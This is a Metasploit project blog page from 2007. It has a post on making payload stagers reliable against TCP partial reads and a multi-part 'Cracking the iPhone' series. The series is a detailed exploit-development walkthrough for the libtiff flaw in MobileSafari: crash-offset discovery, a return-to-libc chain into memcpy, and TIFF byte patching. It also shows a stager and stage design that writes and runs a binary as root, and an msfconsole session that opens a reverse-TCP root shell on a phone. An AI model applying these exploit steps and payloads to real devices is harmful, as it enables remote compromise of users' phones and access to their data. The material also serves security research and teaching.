you're reading...


This is the Metasploit Project. The goal is to provide useful information to people who perform penetration testing, IDS signature development, and exploit research. This site was created to fill the gaps in the information publicly available on various exploitation techniques and to create a useful resource for exploit developers. The tools and information on this site are provided for legal security research and testing purposes only.

10/23/2007 Reliable staging without a stager receive loop (skape)

Staged payloads are used by Metasploit to help reduce the size of the initial payload blob that needs to be transmitted as part of an exploitation attempt. These stagers typically connect to a Metasploit client and bootstrap (read in) a second stage payload blob which is subsequently executed. There’s a problem with this approach, however, and it has to do with partial reads.

It just so happens that Metasploit has a stage (the DLL injection stage) that is nearly 3000 bytes in size. On all modern operating systems, TCP is designed to prevent fragmentation through the use of TCP MSS (maximum segment size). TCP MSS makes it possible to send packets whose size stays at least below an outgoing interface’s MTU of the underlying interface by restricting the amount of data that can be sent in any individual packet based on the MTU minus the overhead added by the IP and TCP headers. While this definitely improves overall network performance, it also means that it’s possible for a target machine that is being sent data over TCP to receive part of a “message” that was sent as a whole buffer from the sender. This is typically called a partial read. Since TCP is a streaming protocol, a partial read is perfectly fine. The application is responsible for any internal buffering of underlying messages. For a payload stager, however, this can be disasterous.

It’s pretty easy to illustrate this point. Write a server in C that binds to a port, accepts a connection, and then receives a fixed amount of data (say, 3000 bytes) from the wire. The server might look something like this:

int main(int argc, char **argv)
int fd = socket(AF_INET, SOCK_STREAM, 0), c;
struct sockaddr_in s;
char buf[3000];
int len;

s.sin_family = AF_INET;
s.sin_port = htons(4444);
s.sin_addr.s_addr = INADDR_ANY;

bind(fd, (struct sockaddr *)&s, sizeof(s));
listen(fd, 1);
while (1)
c = accept(fd, NULL, NULL);
len = recv(c, buf, sizeof(buf), 0);
printf(“Got %lu bytes\n”, len);

When connecting to this server and sending some data with data piped to nc, the output is the following:

On the client:

$ echo -ne “abcd” | nc server 4444

On the server:

Got 4 bytes

This looks just like you’d expect. We sent four bytes and the server read four bytes. But what happens if we send 3000 bytes?

On the client:

$ perl -e ‘print “A” x 3000;’ | nc server 4444

On the server:

Got 1448 bytes

This might seem a bit strange. We obviously sent 3000 bytes at once from our perspective as the client, but the server only read 1448 bytes. What’s going on here? To answer this, we need to look at the packet capture:

03:47:20.324613 IP x.x.x.x.38720 > y.y.y.y.4444:
S 982288742:982288742(0) win 5840

In the above, we can see that two TCP segments are sent in the capture. The first TCP segment is 1448 bytes in size as is the second (and a third follows which is not shown). Notice that the remote server, y.y.y.y, ACKs the first 1448 bytes before receiving the second 1448. It also sends a FIN indicating that it has closed its half of the connection. If the 3000 bytes we were sending had been a payload blob, only half of the payload blob would have arrived and been executed. This would certainly lead to an unexpected crash.

This problem has been known about for some time. The most common solutions typically involve implementing a receive loop that reads an expected number of bytes before executing the stage. For instance, an attacking machine might transmit a four byte value describing the length of the stage. The target machine’s stager can then loop calling receive until the expected number of bytes have been read. While this works perfectly fine, it adds to the size of the stager (which is meant to be small) and also adds a potentially signaturable network effect.

The obvious question at this point is whether or not we can do something better. It’s important to think about the behavior of TCP segments and the way that receive queues are managed in modern operating systems. TCP is designed to be a reliable transport that is capable of experiencing intermittent packet loss. It supports this by describing communication in terms of a receive window that may consist of multiple segments. Due to way that packets are routed on the internet, it may be possible for TCP segments to arrive out of order. Since TCP is a streaming protocol, the order of transmitted data must be preserved. In the case of mainstream operating systems, it seems to be common practice that out of order segments are queued rather than discarded in an effort to reduce the number of retransmissions. The implications of this are the key to solving our problem.

To solve the partial read issue, we must have a mechanism to ensure that the entire stage shows up in the target socket’s receive buffer at the same time. If we assume that the target’s operating system will retain out of order segments, then we may be able to make our example stager reliable, even across the internet. We could even detect this through normal communication with the target host during exploitation, assuming TCP is involved.

There are two simple ways that this could be done. The first way would involve reversing the order of TCP segments sent by the attacker with a moderate delay added between each transmit in order to reduce the chances of a transient routing condition. The nice thing about this is that it would be challenging to discern this behavior from that of potentially real internet traffic. An alternative approach that is arguably easier to implement though perhaps easier to identify would involve transmitting all TCP segments except for the one accounting for the first byte of the data being sent. After all of the other segments have been transmitted, the first byte can be sent causing the target machine to completely reassemble and place the result in the receive buffer for the associated connection. A quick proof of concept test seems to show that this is feasible when sending an 861 byte packet (at least against a Linux target). It’s thought that other platforms will share this behavior though this has not been determined.

On the server:

Got 861 bytes

With the associated packet capture:

03:29:05.914211 IP x..x.x.x.43807 > y.y.y.y.4444:
S 3870094441:3870094441(0) win 5840

Note that the segment describing bytes 2-862 arrives before the segment describing the first byte. This example should be applicable to larger packet sizes though the tool that was used to test is currently not capable of trying this out. Thanks to anonymous for helping to test this :-).

Even though this appears to work in testing there are definitely some real problems with it. There’s a chance that a stateful firewall or IPS device may be in between the attacker and the target machine. If this is the case then it cannot be safely assumed that the target machine will receive the packets out of order. This is due to the fact that the transparent device may perform stream reassembly and then not preserve the out of order characteristic when transmitting data out the other side. While this may the case, it could be argued that it is likely that such a device would often be in close proximity of the target machine, thus increasing the likelihood of the entire stage being present in the receive buffer even if sent in order due to the decreased latency. Another problem has to do with the maximum size of the stage that can be sent. This restriction is constrained by both the window size and the size of the receive buffer associated with the socket on the server doing the receiving. There might be some other scenarios and/or platforms that make this approach impossible to use (please post a comment if you’re aware of any).

The idea of intentionally sending out of order segments is definitely not new. Fragroute has supported this for quite some time. Still, the application of out of order segments to payload staging may not have been as obvious. It’s unlikely that Metasploit will implement this in the immediate future. We currently use an 89 byte intermediate stager when necessary. This solves this problem without having to alter our existing stagers. Still, it seems like a fun possibility if payload size restrictions happen to be exceedingly tight :-).

10/22/2007 Cracking the iPhone (part 3) (hdm)

In part one of “Cracking the iPhone”, I described the libtiff vulnerability. In part two, I walked through the process of exploiting it. In part two point one, I covered a new exploit approach that resulted in reliable code execution. The one piece still missing is what to do once code execution is obtained. An unmodified iPhone does not include an interactive shell, nor any of the standard Unix tools. In order to make this exploit useful, the user needs a payload that can install arbitrary executables onto the iPhone’s file system.

This payload needs to solve two problems. First, it must remount the root filesystem in read-write mode. An unmodified iPhone running firmware 1.1.1 sets the root file system as read-only and the data file system as noexec. This prevents binaries from being launched from the data partition and restricts write access to the system area of the phone. Second, once the root file system is writable, it must write an arbitrary binary to the disk and execute it.

There are a few different approaches we could take to solve this. One method would be to build a single payload that remounts the disk, downloads the executable to a file, and then executes it. While this method would work, the resulting payload would be large and difficult to use in exploits that limit the amount of bytes available. Another method, and the one I chose, involves splitting the payload into two pieces. The first piece, known as the stager, connects back to the attacker, receives the length value of the second piece (the stage), and downloads the stage into memory. Once the entire stage has been received, the stager transfers control to the stage, and the stage handles the rest.

To this end, two new stagers have been added to the development version of the Metasploit Framework. The bind stager listens on a socket, while the reverse stager creates a socket and connects back to the attacker. Once the connection is established, the length value of the stage is sent by the attacker, followed by the entire contents of the stage. A shell stage was added that provides the exact same functionality as the existing payloads, but through the use of the new stagers.

One challenge faced by these stagers was where to store the downloaded stage. The stack, as discussed in the previous posts, is not executable, and the heap addresses can move around. If we want to be absolutely certain that the memory we choose is large enough and marked as executable, there is no better way than to create it ourselves. The first thing that these two stagers do is use the mmap() system call to allocate a new area of memory that has read, write, and execute permissions. Since the iPhone does has a relatively small amount of memory, these stagers only allocate an eight megabyte segment. This should be still more than enough room for a stage, even if the stage itself contains a statically compiled executable. Future versions of these stages may determine the segment size based on the value received over the network.

Now that the stagers are in place, we have ample room for a stage that will remount the root file system, write out a binary, and execute this binary. Since space is no longer a consideration, and the stager does the hard work of downloading the stage, we can embed the target binary directly into the stage. This removes the need for another block of downloader code and simplifies the exploit process. The resulting stage, named execute, performs the following steps:

1. Calls the vfork() system call and terminates the parent process, allowing the child to continue on. This is a workaround for a problem with the XNU kernel and multi-threaded apps. Without a call to vfork() or fork(), the final execve() call would fail.

2. Remounts the root file system as read-write. This is equivalent to calling the mount() function with a type of “hfs”, a directory of “/”, a flags parameter set to zero, and the address of a single NULL DWORD for the file system options parameter.

3. Obtains a pointer to the temporary file name stored inside the stage. This file name is randomized by the Metasploit Framework prior to being sent and currently stores the target binary in the /bin directory.

4. Deletes any existing file with the same name as our temporary file. While this is not strictly necessary, it does simplify things, and if we decide to un-randomize the file name in the future, can avoid some error conditions.

5. Opens the temporary file and stores the file handle. The file is opened with flags indicating that it should be created if it doesn’t already exist, and if it does already exist, the previous contents should be truncated.

6. Obtains a pointer to the executable embedded inside the stage. While we could have just referenced an offset from the pc register, using a branch-link and reading the value from the link register means we don’t have to recalculate the offset each time we add more instructions.

7. Write the entire contents of the binary in a single write() system call. Since the data is already in memory, this is a quick and dirty way to sync the entire contents of the executable to disk in one shot.

8. Close the file. At this point, the executable payload is now safely written to the temporary file in the /bin directory.

9. Duplicate the standard input and output handles to the socket file descriptor. This will convince the executable to use the connected socket (the same one used to download the stage) as input, output, and error handles.

10. Set the real and effective user ID values to zero (super-user). This is a do-nothing in current versions of the iPhone, since all processes run as root, but may become important later on. In future versions, this code will be moved higher up the in the series of steps to make sure that access to the /bin directory is allowed in the first place.

11. Launch the executable that was written to disk. At this point, the user has an interactive console, using a standard Metasploit Session, in which to communicate with the executable.

Using the Metasploit Framework, an attacker can install a binary of their choice onto a vulnerable iPhone. The next time the phone is rebooted, the file system will be read-only again, with the attacker’s binary still installed. From here out, the impact of any root-level vulnerability on the iPhone platform is limited only by the development skills of the attacker (or the attacker’s friends).

To demonstrate some of the options available and to assist with the 1.1.1 jailbreaking process, I created a modified version of vlad902’s Impurity Shell Demo for the iPhone. This code was used in version 2.7 of the Metasploit Framework to provide an in-memory shell on Linux using the Impurity stager. Although the Impurity stager was not ported to Metasploit 3, the Shell Demo code was a perfect fit for the iPhone. This is a custom, standalone shell that provides a variety of useful Unix commands, as well as functions for in-process resource management. For example, using this shell, it is possible to enumerate all open file handles, read from those handles, and write to those handles.

The iPhone version of this shell, named ipwn, includes a few new features. The first is an internal implementation of “ps” command. The second is the “download” command, which can be used to download a file from a web server directly to disk. This makes jailbreaking and further binary installation simple. The third and fourth features, the cd (change directory), and cp (copy file), commands were added to make file management easier. Additionally, the ipwn binary will delete itself by default, unless the -k parameter is passed. This removes the need for manual cleanup when used with the Metasploit Framework. The source code to ipwn and an iPhone compatible binary are available in the Metasploit Framework development tree.

The following Metasploit Framework session shows the steps necessary to use the ipwn executable as a payload for the libtiff vulnerability, exploited through the MobileSafari module. The execute stage will set the PEXEC parameter to point to the included ipwn executable by default.

msf > use exploit/osx/browser/safari_libtiff

msf exploit(safari_libtiff) > set URIPATH /ipwn
URIPATH => /ipwn

msf exploit(safari_libtiff) > set PAYLOAD osx/armle/execute/reverse_tcp
PAYLOAD => osx/armle/execute/reverse_tcp

msf exploit(safari_libtiff) > set LHOST

msf exploit(safari_libtiff) > set LPORT 4444
LPORT => 4444

msf exploit(safari_libtiff) > exploit
[*] Started reverse handler
[*] Using URL:
[*] Local IP:
[*] Server started.
[*] Exploit running as background job.

msf exploit(safari_libtiff) >

At this point, the URL above is accessed via MobileSafari

[*] Sending exploit to…
[*] Reading executable file /projects/metasploit/framework3/trunk/data/ipwn/ipwn…
[*] Read 31712 bytes…
[*] Transmitting stage length value…(32004 bytes)
[*] Sending stage (32004 bytes)
[*] Command shell session 1 opened ( ->

msf exploit(safari_libtiff) > sessions -i 1
[*] Starting interaction with 1…

Self-destruction mode is enabled by default, use -k to keep.
Removing /bin/msf_stage_FTMD9IcX6.bin…

\ ^__^
\ (00)\_______
(__)\ )\/\
||—-w |
|| ||

ipwn (uid=0) (/) >

ipwn (uid=0) (/) > uname
Darwin ipwn 9.0.0d1 Darwin Kernel Version 9.0.0d1: Wed Sep 19 00:08:43 PDT 2007; root:xnu-933.0.0.203.obj~21/RELEASE_ARM_S5L8900XRB iPhone1,1

ipwn (uid=0) (/) > getid
uid=0(root) gid=0(wheel)

ipwn (uid=0) (/) > ps
Process table:
116 msf_stage_FTMD9I
89 afcd
81 MobileMusicPlaye
75 MobilePhone
74 SpringBoard

The ipwn shell can be used with any compatible exploit to provide remote, interactive access to any iPhone, whether it has been modified or not. There is still quite a bit of work to do, especially in the area of iPhone-specific features. Future versions of ipwn will provide commands for accessing the address book, the call database, and eventually, the camera, microphone, and telephone components. One enterprising soul (rezn) was able to use ipwn to jailbreak a virgin 1.1.1 phone, by downloading the tar command, a tar file, and extracting a modified file system over the root directory.

At the last minute, KF and I noticed that the Metasploit modules can fail when used over the EDGE network. The problem seems to be related to the new stager, but doesn’t occur all the time. I have a crash dump that gives me a clue to where the problem is and an update should be out soon to correct it.

Niacin and Dre have released the fully-commented version of their libtiff exploit. I can’t say that I have ever seen an exploit written that way, but its definitely effective 🙂

A third-party patch for the libtiff vulnerability has been released. The ipwn shell can be used to download and install this patch on unmodified iphones. The patch itself can be found here and has been tested on the iPod Touch and version 1.1.1 of the iPhone. The command sequence for installing the third-party patch would look something like:

ipwn> download http://www.cse.msu.edu/~dunham/touch/patch-graphics /bin/patch-graphics
ipwn> system /bin/patch-graphics
ipwn> unlink /bin/patch-graphics
ipwn> reboot

This concludes the “Cracking the iPhone” series. Any significant updates will still get posted to the blog, but the best way to follow development is by tracking the Metasploit Framework development tree. The latest code will always be available in the trunk tree of Metasploit and patches (especially those that add features to ipwn) are welcome and encouraged. If you have any questions about iPhone-specific hackery, feel free to email me at hdm[at]metasploit.com. If you have a Metasploit-specific question, you may want to join the mailing list or email the development team at msfdev[at]metasploit.com. Thanks for reading!



10/16/2007 Cracking the iPhone (part 2.1) (hdm)

In part two of “Cracking the iPhone”, the final result was a working exploit for the libtiff vulnerability. This exploit depended on four key addresses to work properly. The first address was the stack pointer where our string was stored. The stack pointer is static across the same version of the application, but does change between major versions. Due to this address change, a different stack address had to be used for MobileMail versus MobileSafari, and version 1.02 had a different address than 1.1.1. The second address was the location of a writable and executable page on the heap. The original address chosen by our exploit didn’t work on all applications. The third and fourth addresses referred to two locations inside the libSystem.dylib library. These addresses did not change between versions or applications.

We can do better. In a perfect world, we can find a sequence of instructions, already in memory, at a static location, that copies a usable heap address into r0 (memcpy dst), the stack pointer into r1 (memcpy src), allow us to control r3 (the memcpy length), executes memcpy(), and then allow us to return back to the destination pointer on the heap. A quick grep of the libSystem.dylib disassembly for “mov r1, sp” pulls up quite a few matches. If we use the -A 1 and -B 3 grep flags, we notice the following block of code.

300d562c e2840030 add r0, r4, #0x30
300d5630 e1a0100d mov r1, sp
300d5634 e1a02008 mov r2, r8
300d5638 eb0029c6 bl _memcpy

A miracle! As mentioned in the previous blog post, we control almost all registers between r4 and r11 after the stack overwrite. We can set r4 to our destination pointer (-0x30), r8 to our memcpy length value, and let this function do our work for us. This code calls memcpy() and eventually returns to another address stored on the stack. There is one snag though, a few lines down we hit the following instruction:

300d566c e247d014 sub sp, r7, #0x14

The stack pointer is being overwritten with the value of the r7 register (-0x14). The two lines following are loading register values (and our return address, via pc) from this stack pointer.

300d5670 e8bd0500 ldmia sp!, {r8, r10}
300d5674 e8bd80f0 ldmia sp!, {r4, r5, r6, r7, pc}

Since we are copying our entire string from the stack to the heap, and we want to return back to the heap anyways, we can set r7 to the address of the memcpy() destination pointer and make this heap address our new stack pointer. After reviewing the memory mappings between MobileSafari, MobileMail, and the iTunes Music Store (in 1.1.1), we notice that the memory at 0x00802000 is always valid, writable, and executable within these applications. This address will become our new heap destination pointer.

The new version of this exploit only depends on two specific addresses in the target process. This is a huge improvement over the previous code and has been successfully tested on MobileMail, MobileSafari, and the iTunes Music Store on firmware versions 1.02 and 1.1.1. Two new modules have been committed to the Metasploit Framework development tree. When reading the source to these exploits, it helps if you have watched Charlie: Candy Mountain 🙂

The MobileSafari exploit can be found here.
The MobileMail exploit can be found here.

10/15/2007 Cracking the iPhone (part 2) (hdm)

In part one of “Cracking the iPhone”, I described the libtiff vulnerability, its impact on iPhone users, and released the first version of my hacked up debugger. In this post, I will walk through the process of actually writing the exploit.

First off, a new version of weasel (hdm-0.02) has been released. This version includes an entirely new disassembly backend, courtesy of libopcodes, and supports thumb-mode instructions. Thumb is a 16-bit instruction mode for ARM processors that is designed to save memory and speed up execution, especially on systems where filling the instruction cache is expensive.The libSystem.dylib (libc equivalent) on the iPhone contains both 32-bit and 16-bit functions. In order to disassemble a function as thumb mode, you will need to add one to the address. For example, if we disassemble the system() function as 32-bit ARM instructions, we get the following garbage:

[$3008b224 weasel] d 0x3002d0a0
0x3002d0a0 af03b5f0 swige 0x0003b5f0
0x3002d0a4 1e06b08d cdpne 0, 0, cr11, cr6, cr13, {4}
0x3002d0a8 483cd109 ldmmida r12!, {r0, r3, r8, r12, lr, pc}

If we add one to 0x3002d0a0, we now get the proper disassembly:

[$3008b224 weasel] d 0x3002d0a1
0x3002d0a0 0000b5f0 push {r4, r5, r6, r7, lr}
0x3002d0a2 0000af03 add r7, sp, #12
0x3002d0a4 0000b08d sub sp, #52

On Mac OS X, many addresses are static within a process. System libraries are loaded at the same location within every process. The stack and heap are also predictable depending on the application state. These static addresses make up for two serious limitations that come into play when writing exploits for the ARM platform. The first issue, and one common to many other RISC processors, is the fact that the stack memory is marked non-executable. Unlike x86, we are not able to execute code on the stack, no matter how predictable the stack address is. The second limitation involves the instruction cache of the ARM processor. On many RISC platforms, including ARM and PowerPC, the memory executed by the processor is cached in a different physical cache than the data. It is possible for an exploit to write data to a location, but when that data is executed, for the previous data to be processed instead. This causes a problem for self-modifying code on the ARM processor. To make things worse, the only way to flush the ARM instruction cache is from kernel-mode, so unless a syscall is exported by the operating system, a workaround is needed.

In the case of the libtiff exploit, we can completely overwrite the stack, resulting in control of the return address. The stack address itself is static, and if this was x86, our exploit would already be done. Since the stack memory is non-executable, we need to look at other options for running code. The most direct option is to store the payload on the heap and then return directly to this heap address. Under MobileSafari, the heap addresses where the TIFF image is loaded change depending on what other sites the user has accessed. The second option is to use a return-to-libc technique. The idea is that since we control the data on the stack, and since many libraries receive their arguments via the stack, we can call any existing library function with almost arbitrary arguments. This can be used to execute a command via system() or make the stack executable by returning to mprotect(). The unlocker exploit released by Niacin and Dre used the return-to-libc technique to chain together multiple library calls in order to gain access to the iPhone’s file system.

Starting at the beginning, lets take the original exploit released by Niacin and open it in a hex editor.

Starting at offset 0x84 (132), we see the stack arguments they pass to a system library function. If we look a bit further, to offset 0xFC (252), we see the return address they use to kick off the execution chain (0x3125368c). The first thing we want to do is delete all bytes after offset 0x84 (taking note of how many there were).

$ dd if=expval.tif of=myexploit.tif bs=1 count=132
$ ls -la expval.tif myexploit.tif
-rw-r–r– 1 hdm users 752 Oct 10 14:46 expval.tif
-rw-r–r– 1 hdm users 132 Oct 14 23:06 myexploit.tif

Our new file is 620 bytes shorter than the original. We will re-add those 620 bytes, using a specific pattern generated by the pattern_create() function in the Metasploit Framework. This function is accessible through the normal Ruby API (Rex::Text.pattern_create) or by running the script tools/pattern_create.rb included with version 3.0 of the Metasploit Framework.

$ tools/pattern_create.rb 620 | perl -pe ‘chomp’ >> myexploit.tif
$ ls -la myexploit.tif
-rw-r–r– 1 hdm users 752 Oct 14 23:15 myexploit.tif

This pattern is great for exploit development, because it allows us to determine exactly what offset into the buffer was used to fill a given register’s value. For example, if we access myexploit.tif from the MobileSafari browser (after copying to a web server), the browser will crash and a crashdump will appear in /var/logs/CrashReporter on the iPhone. In the crashdump, the first thing we notice is the exception type and exception codes:

Exception Type: EXC_BAD_ACCESS
Exception Codes: KERN_INVALID_ADDRESS at 0x41306540

The “invalid address” listed here is obviously part of the generated pattern (all alphanumeric, in the form of upper, digit, lower, upper). Further down in the crashdump, we see the values of the different registers:

r0: 0x00000001 r1: 0x00000001 r2: 0x00000000
r3: 0x307aa3f8r4: 0x35644134 r5: 0x41366441
r6: 0x64413764 r7: 0x39644138 r8: 0x31644130
r9: 0x00819a00 r10: 0x41326441 r11: 0x64413364
ip: 0x38514ed8 sp: 0x0055a638 lr: 0x3071e970
pc: 0x41306540 cpsr: 0x20000030 instr: 0x00000000

All of the registers in bold are ones that we control based on the pattern we sent. The critical one here is the program counter (pc). Unlike the x86 platform, ARM allows a program to read and write the program counter (pc) directly. Instead of the clever jump-call-jump routines, we can simply access the pc register to determine where we are in memory. In this case, we see that the value has been set to 0x41306540. Since the iPhone runs the ARM processor in little-endian mode, we can use the tools/pattern_create.rb script included with the Metasploit Framework to determine exactly what offset into the buffer is written into the pc register.

$ tools/pattern_offset.rb 0x41306540 620

This script produced a nil match. This value was not part of the buffer we sent. The reason is that the ARM processor silently drops the lower bits of the pc register. Since all functions on RISC processors must be word aligned (16/32/64), an address with the lowest bit set will be truncated. If we run the pattern_offset.rb script again, this time trying this address plus one, we find a match.

$ tools/pattern_offset.rb 0x41306541 620

At this point, we know that offset 120 into our buffer can be used to specify the return address. The next step is to return to something that is actually useful. As mentioned previously, we cannot return directly to the stack, since the stack is marked non-executable. We can use the modified weasel debugger to find our pattern in memory. The first thing we do is start up MobileSafari via the touch screen interface on the iPhone. Now, after logging in via SSH, and installing the weasel (hdm-0.02) binary into /usr/bin/weasel, we can attach to the process.

# ps aux | grep MobileSafari | grep -v grep | awk ‘{print $2}’
# weasel -p 109
[$3008b224 weasel]

Once attached, we hit “c” to continue execution, and then browse to the evil TIFF image. Weasel will catch the exception and drop us back to the prompt.

[$3008b224 weasel] c
Listening for exceptions.
Exceptional event received.
Inferior received exception 1, 2fffefa8.
[$3008b224 weasel]

From the weasel prompt, we use the “f” command to search for the first few bytes of our pattern, starting at address zero.

[$3008b224 weasel] f 0 Aa0A
0055a5bc 41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41
00688b9c 41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41
0069075e 41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41
0084e084 41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41
0084e484 41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41
0084f084 41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41

Now we can use the “r” command to dump the register state for all threads within this process.

[ thread 2 ]
r0: 0x00000001 r1: 0x00000001 r2: 0x00000000 r3: 0x307aa3f8
r4: 0x35644134 r5: 0x41366441 r6: 0x64413764 r7: 0x39644138
r8: 0x31644130 r9: 0x00819a00 r10: 0x41326441 r11: 0x64413364
ip: 0x38514ed8 sp: 0x0055a638 lr: 0x3071e970 pc: 0x41306540

The first thing we notice is that our string is located on the stack at 0x0055a5bc. We know this is the stack because the sp register is set to 0x0055a638, not too far away. If we repeat this process a few times (exit weasel, start MobileSafari, etc), we notice that the heap address where the TIFF file is stored changes, but this stack address is always the same.

We control the return address, we know the location on the stack where our string is stored, and we control quite a few other registers (r4, r5, r6, r7, r8, r9, r19, r11). Since our heap addresses keep changing, we need to find a static address, within a library, that we can return to in order to gain code execution. The way to find these functions is by disassembling the system libraries. Using the arm-apple-darwin-otool utility (included with iphone toolchain), we can disassemble all of libSystem.dylib and save the result in a file.

$ arm-apple-darwin-otool -tV libSystem.dylib > system.txt

Once we have the disassembled version of this library, we can look for interesting functions. If we find a function that looks bogus (such as system()) in the disassembly, it may be in 16-bit thumb mode. In these cases, we can use weasel (weasel /bin/ls) to perform a thumb-mode disassembly on the function, by adding one to the address.

The memcpy() function is a great candidate for this exploit, since we could copy our static stack address to the heap, and then redirect exection back to this heap address to execute our code. The libSystem disassembly includes many calls to memcpy(), but the actual code for this function is not in the output. Using weasel, we first disassemble the address of function that calls memcpy().

# weasel /bin/ls
Read 735 symbols.
Starting process…
Process with PID 118 started…
[$3000d232 weasel] d 30005568
0x30005568 eb0369fa bl 0x300dfd58
0x3000556c e1a01004 mov r1, r4

Now we disassemble the address that this function branches to.

[$3000d232 weasel] d 0x300dfd58
0x300dfd58 e59fc004 ldr r12, [pc, #4]
0x300dfd5c e08fc00c add r12, pc, r12
0x300dfd60 e59cf000 ldr pc, [r12]
0x300dfd64 07f2759c undefined

This is where things get interesting. This assembly is loading the address stored at 0x300dfd64 into the r12 register, then adding the pc register to this value, and then dereferencing a pointer at this value into pc. A zero offset from the pc register actually points eight bytes past the referring instruction (pc+4 = self+8). In this case, we add the address 0x300dfd64 to value at this address (0x07f2759c), resulting in 0x38007300. We now look at this address to find a pointer that hopefully takes us to the real memcpy() function.

[$3000d232 weasel] d 0x38007300
0x38007300 3009a1bc (bogus instructions)

[$3000d232 weasel] d 3009a1bc
0x3009a1bc e3520000 cmp r2, #0 ; 0x0
0x3009a1c0 11500001 cmpne r0, r1
0x3009a1c4 012fff1e bxeq lr

In the assembly above, we see that r2 is compared against zero. If this compare fails, then r0 is compared against r1. If either of these conditions match, this function returns back to the address stored in the link register. In the context of the memcpy() function, this first check is looking for a length value of zero, and the second check is ensuring that the destination address is not the same as the source address. We have found memcpy!

The trouble is, memcpy() looks at registers r0, r1, and r2 for its parameters. We don’t control these registers, but we do control the stack. To get around this problem, we will look for another instruction within the system library that loads registers r0-r2 from the stack and still allows us to return to another address. A quick grep of the system.txt we created earlier results in the following matches.

$ egrep -i ‘ldmia sp!,.*r0.*pc’ system.txt
3009a4e4 e8bd80b1 ldmia sp!, {r0, r4, r5, r7, pc}
300df000 e8bd8001 ldmia sp!, {r0, pc}
300df800 e8bd800f ldmia sp!, {r0, r1, r2, r3, pc}

The instruction at 0x300df800 is perfect. It loads r0-r3 from the stack, as well as pc, allowing us to return to yet another address stored on the stack. We open the TIFF image again in a hex editor, seek to offset 0xFC, and enter the address of this function into the TIFF image, in little endian byte order (00 df 0d 30). We start up MobileSafari, attach to the process from weasel, enter “c” to continue, and access the evil TIFF file again. Weasel catches exception, leaving us with the following register state.

[ thread 2 ]
r0: 0x65413165 r1: 0x33654132 r2: 0x41346541 r3: 0x65413565
r4: 0x35644134 r5: 0x41366441 r6: 0x64413764 r7: 0x39644138
r8: 0x31644130 r9: 0x00817a00 r10: 0x41326441 r11: 0x64413364
ip: 0x38514ed8 sp: 0x0055a64c lr: 0x3071e970 pc: 0x37654134

We now have control of registers r0-r8, r10-r11, and pc. A little bit of legwork with pattern_offset.rb tells us that our new return address is at offset 0x110, r0 is 0x100, r1 is 0x104, and r2 is 0x108. To abuse memcpy(), we set r0 to be our destination address (free heap space), r1 to be our source address (the static stack address), and r2 to be length of our code. The “v” command can be used from inside weasel to dump all address mappings within the process. This speeds up the discovery of unused heap space.

[$3008b224 weasel] v
0x00001000 – 0x0006a000 (0x00069000 bytes)
0x0006b000 – 0x0006c000 (0x00001000 bytes)
0x0006d000 – 0x00200000 (0x00193000 bytes)
0x00201000 – 0x00459000 (0x00258000 bytes)

After poking around with the “p” command, the address 0x0006b400 seems like a good choice for free heap space. It is writable, executable, and unlikely to change between versions of Safari or system libraries. To summarize, we will place 0x0006b400 into r0, 0x0055a5bc into r1, 620 into r2, and 0x3009a1bc (memcpy) into pc. Once again, we patch up the TIFF file, open MobileSafari, attach to the process with weasel, and enter the “c” command to continue. When we browse to the evil TIFF file, weasel catches the exception, leaving us with the following.

[ thread 2 ]
r0: 0x0006b400 r1: 0x0008ba14 r2: 0x40000000 r3: 0x7041396f
r4: 0x35644134 r5: 0x41366441 r6: 0x64413764 r7: 0x39644138
r8: 0x31644130 r9: 0x00819a00 r10: 0x41326441 r11: 0x64413364
ip: 0x70413370 sp: 0x0055a64c lr: 0x3071e970 pc: 0x3071e97c

The process crashed, so lets look at the code that pc points to.

[$3008b224 weasel] d 0x3071e97c
0x3071e97c e5960000 ldr r0, [r6]

The process is attempting to dereference a value from r6, which is controlled by us. This value is stored at offset 0xF4 in our buffer (discovered by pattern_offset.rb). We will patch this offset with a readable address, in this case the address at the end of our destination buffer in the heap ( 0x0006b400 + 620 ). Once again, we exit weasel, start MobileSafari, attach with weasel, and continue. We then access our yet-again modified TIFF image. This time, we get a new exception.

[ thread 2 ]
r0: 0x00000000 r1: 0x00000000 r2: 0x0000001d r3: 0x0000000a
r4: 0x66413965 r5: 0x31664130 r6: 0x41326641 r7: 0x66413366
r8: 0x41386541 r9: 0x00819a00 r10: 0x41326441 r11: 0x64413364
ip: 0x00000004 sp: 0x0055a664 lr: 0x3071e98c pc: 0x35664134

We are close to the end. At this point, if we look at 0x0006b400, we see a shiny new copy of the string we stored on the stack. The address at pc corresponds to offset 0x128 in the buffer. We can store our shellcode at offset 0x12C and patch the return value with 0x0006b400 + 0xA4 to return back to it. A quick test, by setting offset 0x12C to 0xffffffff (an invalid instruction), demonstrates that this works. We have successfully exploited the iPhone libtiff vulnerability using a return-to-libc back to memcpy().

[ thread 2 ]
r0: 0x00000000 r1: 0x00000000 r2: 0x0000001d r3: 0x0000000a
r4: 0x66413965 r5: 0x31664130 r6: 0x41326641 r7: 0x66413366
r8: 0x41386541 r9: 0x00819a00 r10: 0x41326441 r11: 0x64413364
ip: 0x00000004 sp: 0x0055a664 lr: 0x3071e98c pc: 0x0006b4a8

[$3008b224 weasel] p 0x0006b4a8
0006b4a8 ff ff ff ff 66 37 41 66 38 41 66 39 41 67 30 41 ….f7Af8Af9Ag0A

As always, there are a few caveats. The first issue we run into is that all shellcode after ~340 bytes is being corrupted before the copy. Fortunately, most OS X shellcode (even ARM) is much smaller than 300 bytes, and this isn’t an issue if we account for it. The second issue is that since MobileSafari is a multi-threaded application, the execve() system call will fail. The solution to this issue is to prepend a block of ARM assembly that executes the vfork() system call, kills the parent process, and executes the rest of the shellcode from within the child process. This problem is also present on PowerPC Mac OS X installations and requires the vfork trick there as well.

While using a hex editor to write this exploit is possible, the Metasploit Framework provides a much easier method of testing different contents for the TIFF file. A working exploit for this flaw (successfully tested on 1.00 and 1.02 firmwares) can be found in the development version of the Metasploit Framework (available via Subversion). A direct link to the latest version of this exploit can be found here.

This exploit works great on modified iPhones that have an existing /bin/sh, but will fail on unmodified iPhones. The next part in this series will cover developing shellcode for unmodified phones, so check back soon.

10/12/2007 Cracking the iPhone (part 1) (hdm)

